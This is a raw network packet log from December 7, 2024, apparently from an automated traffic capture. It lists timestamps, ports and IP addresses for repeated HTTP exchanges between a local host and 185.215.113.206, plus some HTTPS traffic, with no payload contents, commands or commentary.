Dec 7, 2024 22:40:43.681993008 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.682056904 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.682100058 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.682934046 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.682975054 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.683023930 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.683067083 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.683851957 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.683898926 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.769628048 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.769653082 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.769691944 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.769718885 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.770044088 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.770097971 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.770268917 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.770348072 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.770931959 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.770970106 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.771051884 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.771092892 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.771864891 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.771905899 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.771998882 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.772037983 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.772818089 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.772862911 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.772937059 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.772978067 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.773809910 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.773859024 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.773869038 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.773912907 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.774830103 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.774874926 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.774902105 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.774945021 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.775878906 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.775917053 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.775981903 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.776017904 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.776628971 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.776673079 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.776753902 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.776793957 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.777616024 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.777659893 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.777733088 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.777772903 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.834949970 CET	443	49805	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.835019112 CET	443	49805	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.835069895 CET	49805	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.835256100 CET	49805	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.835277081 CET	443	49805	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.835289001 CET	49805	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.835294962 CET	443	49805	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.836114883 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.836189032 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.836205959 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.836241007 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.836601973 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.836652994 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.836688995 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.836723089 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.837537050 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.837598085 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.837634087 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.837673903 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.838032961 CET	49810	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.838095903 CET	443	49810	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.838161945 CET	49810	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.838363886 CET	49810	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.838380098 CET	443	49810	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.838531971 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.838577986 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.838593006 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.838634968 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.839462042 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.839509010 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.839564085 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.839603901 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.840416908 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.840467930 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.840512991 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.840560913 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.841397047 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.841449022 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.841551065 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.841595888 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.842241049 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.842295885 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.842350006 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.842401028 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.843188047 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.843240023 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.843310118 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.843360901 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.844146013 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.844196081 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.844211102 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.844254017 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.845104933 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.845159054 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.845196009 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.845238924 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.846043110 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.846095085 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.846138954 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.846182108 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.846960068 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.847011089 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.847078085 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.847122908 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.847963095 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.848009109 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.848107100 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.848155022 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.848882914 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.848934889 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.849006891 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.849050999 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.849847078 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.849890947 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.850007057 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.850069046 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.850768089 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.850816011 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.850887060 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.850927114 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.851768017 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.851819992 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.851902962 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.851947069 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.852658033 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.852705956 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.852771997 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.852818012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.853616953 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.853679895 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.853715897 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.853760004 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.854515076 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.854568005 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.854629040 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.854676008 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.855473042 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.855524063 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.855560064 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.855607986 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.856477976 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.856533051 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.856543064 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.856566906 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.857352972 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.857404947 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.857518911 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.857563972 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.858330011 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.858380079 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.858445883 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.858489990 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.859245062 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.859293938 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.859355927 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.859400988 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.860192060 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.860243082 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.860270977 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.860306025 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.861154079 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.861203909 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.861273050 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.861318111 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.862082005 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.862138987 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.862186909 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.862231016 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.863065958 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.863116026 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.863154888 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.863207102 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.863953114 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.864002943 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.864068031 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.864118099 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.864893913 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.864948034 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.864989996 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.865032911 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.865850925 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.865900040 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.865947008 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.865989923 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.866935968 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.866978884 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.867090940 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.867142916 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.867799044 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.867847919 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.867925882 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.867969990 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.868695974 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.868746042 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.868782997 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.868823051 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.869633913 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.869683981 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.869730949 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.869777918 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.870595932 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.870647907 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.870688915 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.870728970 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.871515036 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.871562958 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.871629000 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.871670008 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.872502089 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.872545004 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.872550011 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.872581959 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.873404980 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.873460054 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.873514891 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.873557091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.874341965 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.874394894 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.874448061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.874490976 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.875283957 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.875332117 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.875377893 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.875420094 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.876184940 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.876235008 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.961466074 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.961525917 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.961596012 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.961637020 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.961941957 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.961988926 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.962009907 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.962052107 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.962912083 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.962968111 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.962987900 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.963027000 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.963843107 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.963898897 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.963927031 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.963964939 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.964772940 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.964824915 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.964873075 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.964917898 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.965714931 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.965759993 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.965859890 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.965933084 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.966665030 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.966708899 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.966779947 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.966820955 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.967580080 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.967628956 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.967758894 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.967803001 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.968553066 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.968592882 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.968677998 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.968710899 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.969563007 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.969605923 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.969624043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.969660997 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.028021097 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.028086901 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.028117895 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.028146029 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.028321981 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.028372049 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.028381109 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.028419971 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.029270887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.029318094 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.029366016 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.029412985 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.030184031 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.030230045 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.030319929 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.030353069 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.031137943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.031188011 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.031222105 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.031260967 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.032061100 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.032109976 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.032164097 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.032208920 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.033013105 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.033061981 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.033113003 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.033160925 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.033957958 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.034007072 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.034080982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.034126043 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.034893036 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.034943104 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.035006046 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.035051107 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.035852909 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.035896063 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.035959005 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.036015987 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.036787033 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.036834002 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.036881924 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.036926985 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.037723064 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.037770987 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.037807941 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.037853956 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.038674116 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.038727045 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.038772106 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.038815975 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.039643049 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.039690018 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.039748907 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.039793968 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.040568113 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.040622950 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.040656090 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.040693045 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.041584015 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.041632891 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.041660070 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.041704893 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.042515993 CET	80	49790	185.215.113.206	192.168.2.6
